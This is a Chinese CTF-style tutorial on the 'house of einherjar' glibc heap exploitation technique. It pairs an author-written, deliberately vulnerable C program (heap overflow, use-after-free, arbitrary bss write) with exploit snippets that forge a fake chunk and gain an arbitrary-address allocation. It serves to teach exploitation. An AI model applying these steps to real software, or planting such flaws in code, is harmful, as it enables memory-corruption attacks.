基于chunk overlapping的一种利用手法 旨在申请到任意地址的chunk
前言#
题目源码 各种漏洞都有 并且打印了堆基址 同时不打算开启pie 方便调试
//gcc -o testheap -no-pie testheap
#include<stdio.h>#include<stdlib.h>int chunk_time =0;int chunk_size[50];char *chunk_ptr[50];char magic_addr[1000];void bss_write(){ puts("For commissioning only"); char *a[50]; read(0,a,0x50); puts("Input content"); read(0,*a,0x100);}void gift(){ puts("Convenient debugging"); puts("Please enter the got table of the function"); char a[0x20]; read(0,a,0x20); asm( "pop %rsi\n\t" "mov $1,%rax\n\t" "mov $1,%rdi\n\t" "mov $8,%rdx\n\t" "syscall\n\t" ); puts("Keep this gift");}void init(){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0);}void menu(){ puts("Life is fucking movie"); puts("Life is always full of unhappiness, like this question"); puts("Anyway, what's your answer"); puts(">");}void add(){ int index; char size[20]; puts("What do you really want?"); if(chunk_time<=32&&chunk_time>=0){ if(!chunk_ptr[chunk_time]){ printf("This is the %dth choice in your life\n",chunk_time); puts("You can customize the size of chunk, but what about your life"); read(0,size,0x8); chunk_size[chunk_time] = atoi(size); chunk_ptr[chunk_time] = malloc(chunk_size[chunk_time]); printf("chunk_addr is %x\n",&(*chunk_ptr[chunk_time])); puts("Although your life is a piece of shit, you still have the initiative, right?"); read(0,chunk_ptr[chunk_time],chunk_size[chunk_time]); chunk_time++; }else{ puts("error"); exit(0); } }else{ exit(0); puts(""); }}void delete(){ char data[100]; int index; puts("I didn't set the pointer to zero, just like some things can't be repeated"); scanf("%d",&index); free(chunk_ptr[index]);}void edit(){ int index; int chunksize; puts("It's never too late to start again. What do you regret?"); scanf("%d",&index); puts("You all know that there can be overflows here, so why do you set limits on your life?"); scanf("%d",&chunksize); puts("Come back!"); read(0,chunk_ptr[index],chunksize);}void show(){ puts("You can't live a perfect life without making any effort"); int index; scanf("%d",&index); puts(chunk_ptr[index]);}int main(){ int choice; init(); puts("This program is used to debug heap vulnerabilities"); puts("write by chen"); while(1){ menu(); scanf("%d",&choice); switch(choice){ case 1: add(); break; case 2: delete(); break; case 3: edit(); break; case 4: show(); break; case 5: gift(); break; case 6: bss_write(); break; case 7: puts("The fog of that morning cleared, not only in the morning, but also in the fog"); puts("You will be stronger next time I see you"); exit(0); break; } }}在上一篇文章中 我们介绍了利用修改prev_size里实现合并的手法 基于这个漏洞 我们更进一步来利用
我们知道 如果topchunk相邻低地址处的chunk处于free状态 除开fastbin和tcachebin 那么top chunk就会将其合并 此时top chunk的首地址就会成为被合并的chunk的地址
这其实是house of force的内容 不过这里我们并不直接修改top chunk的prev_size
而是修改与top chunk物理相邻的chunk的prev_size
首先我们需要知道 当plmalloc在处理后向合并的时候 新的chunk的地址是根据当前chunk减去prev_size得到的
并且后向合并的前置条件是要通过两个检查

假设此时我们已经在某个地方伪造好了fake chunk 并且此时堆结构如图所示
为了实现chunkA后向合并到fake chunk 我们需要使得chunkA_addr - prev_size = fakechunk_addr
chunk_at_offset(p, -((long) prevsize))同时还需要使得fake_chunk的size域和chunkA的prev_size域相同
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \malloc_printerr ("corrupted size vs. prev_size");并且还要注意一下fake chunk的fd域和bk域 根据unlink的要求 我们需要使得fake chunk的fd域和bk域满足下面要求
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \malloc_printerr (check_action, "corrupted double-linked list", P, AV);不过这个相对来说很好绕过 我们只需要让fd和bk域都为fake chunk的地址就行了 这样FD->bk 的值也还是fake chunk的地址 同理BK->fd也是
同时还需要使得chunkA的inuse位为0 这样plmalloc才会认为chunkA低地址处存在一个位于bin的chunk 并且是可以合并的
if (!prev_inuse(p)) {prevsize = prev_size(p);size += prevsize;p = chunk_at_offset(p, -((long) prevsize));unlink(av, p, bck, fwd);}根据上述要求 我们想要实现house of einherjar需要拥有以下条件
1.拥有堆溢出的能力 可以覆盖到next chunk的prev_size域和size域的最后一位2.拥有在目标地址构造fake chunk的能力3.拥有堆的基址来计算fake chunk和chunk的差值下面我们开始实际利用
libc2.23#
我们假设题目自带了打印堆基址的功能
并且可以在bss段中构造fake chunk的机会 实际利用情况里需要读者自己根据实际题目判断是否可行 以及如何实现
本题目由笔者本人编写 漏洞点显而易见 仅供参考
bss_addr = 0x602320chunk0_addr = add(0x10,b'aaaa')chunk0_addr = chunk0_addr * 0x1000首先我们创建一个0x10大小的chunk 同时接收一下当前chunk的地址 也就是堆基址 这里之所以要乘以0x1000
是因为我出题的时候使用的是printf来输出 其遇到\x00就直接截断了 所以无法打印出堆基址后的三个0 这里需要自己补上
add(0x80,b'aaaa')chunk1_addr = chunk0_addr + 0x20prev_size = chunk1_addr-bss_addrpayload = cyclic(0x10)+p64(prev_size)+b'\x90'edit(0,len(payload),payload)随后我们再次申请一个chunk 这个chunk是用来实现本文漏洞的关键 最开始申请的chunk是用来堆溢出覆盖这个chunk的prev_size域和size域的inuse位
接着我们计算出chunk1_addr 和 prev_size应该要被设置成的值
接着利用chunk0的堆溢出漏洞覆盖chunk1的prev_size和inuse

此时堆的结构如图所示
接着在bss段上构造一个fake chunk 这里的函数是我为了方便演示特地写的 正常题目就别想了
payload = p64(0x90)+p64(prev_size)+p64(bss_addr)*2bss_write(p64(bss_addr),payload)此时我们释放chunk1 看看其是否能过通过检查

为什么是top chunk跑到了fake chunk这边呢 同时addr还和我们fake chunk不一样
这是因为chunk1在和fake chunk合并之后 二者同样是一个物理相邻top chunk的堆块 所以top chunk就将其吞并
而这个addr是单纯的显示问题 我们试着申请一个chunk 看看写入的content位于哪里
add(0x20,b'gggggggg')
可以看到写入成功
接下来 难度升级 我们来试试如果题目没有给我们赠送堆基址 我们要如何自己获取堆基址并且实现漏洞的利用
bss_addr = 0x602320add(0x10,b'aaaa')add(0x10,b'aaaa')delete(1)delete(0)show(0)io.recv()heap_addr = u64(io.recv(4).ljust(8,b'\x00'))-0x20success("heap_addr :"+hex(heap_addr))首先我们申请两个任意大小的chunk 目的是为了将两个chunk放入到fastbin中 利用UAF获取其fd域内的堆地址 经过计算得到堆基址

接着我们需要把这两个chunk从fastbin中取出来 否则等下unlink的时候就会报错 原因暂时不清楚

add(0x10,b'aaaa')#2add(0x10,b'aaaa')#3add(0x80,b'aaaa')#4我们重新申请两个0x10大小的chunk 此时chunk2相当于chunk0 chunk3相当于chunk1
chunk4则是用来向后合并 利用漏洞的
接下来的手法就和之前的一致了
prev_size = heap_addr + 0x40 - bss_addrpayload = cyclic(0x10)+p64(prev_size)+b'\x90'edit(3,len(payload),payload)payload = p64(0x100)+p64(prev_size)+p64(bss_addr)*2bss_write(p64(bss_addr),payload)delete(4)